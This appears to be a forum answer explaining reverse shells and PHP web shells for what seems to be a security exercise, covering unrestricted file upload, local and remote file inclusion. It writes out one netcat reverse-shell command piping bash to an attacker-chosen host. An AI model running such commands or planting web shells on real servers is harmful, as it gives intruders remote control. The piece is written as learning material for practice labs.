Based on comments, I am assuming this is a LAMP stack (and will have to make a few more assumptions as well). I'll nudge you and others who find themselves here in the right direction :D
How do I open a shell/what does that mean?
In general, a shell (as described here) is a way to send arbitrary commands to the operating system and obtain output (results of those commands). Typically it is associated with a command shell such as
In an offensive security context like you're describing, a shell is generally referring to a way of getting some level of interactive remote code execution. This can be through a network utility tool that redirects
bash input/output to a network socket (ex. netcat
nc -nv <your IP> <your listening port> -e /bin/bash), or something such as a "web shell" which appears to be the focus of your exercise.
A web shell is typically a script file written in the language of your target web server (
jsp, etc., in this case
php) that executes system commands via an HTTP web request and returns the results of the commands in the HTTP response.
Here is a great cheat sheet for various types of shells.
And how do I make it so I can run the file?
For a successful attack, you need the target server to interpret and run the
php web shell code. Here are a few options:
- Unrestricted File Upload - Upload a file to a known location (ex.
/uploads/) and then browse to it, which will run the code
- Local File Inclusion (LFI) - Cause the application to include a local system file that has attacker code in it (like old-school log poisoning attack)
- Remote File Inclusion (RFI) - Cause the application to include a remote file from a server you control. This is very powerful and rarer these days.
What I would do...
I would try all three above (as long as there's an upload functionality to try the first one)! Practice and play around, research the hows and whys, and take notes.
Keep the shell simple such as a
php one-liner. Check the reference in the LFI bullet above for more info. Once you have command execution, you can just display the contents of the file using a system command.
Assuming you're wanting to dig deep into this, I would start reading CTF writeups such as vulnhub (check for ones with
Walkthroughs) or hackthebox (I love ippsec, search something like
RFI) and you'll see this kind of thing demonstrated time and again.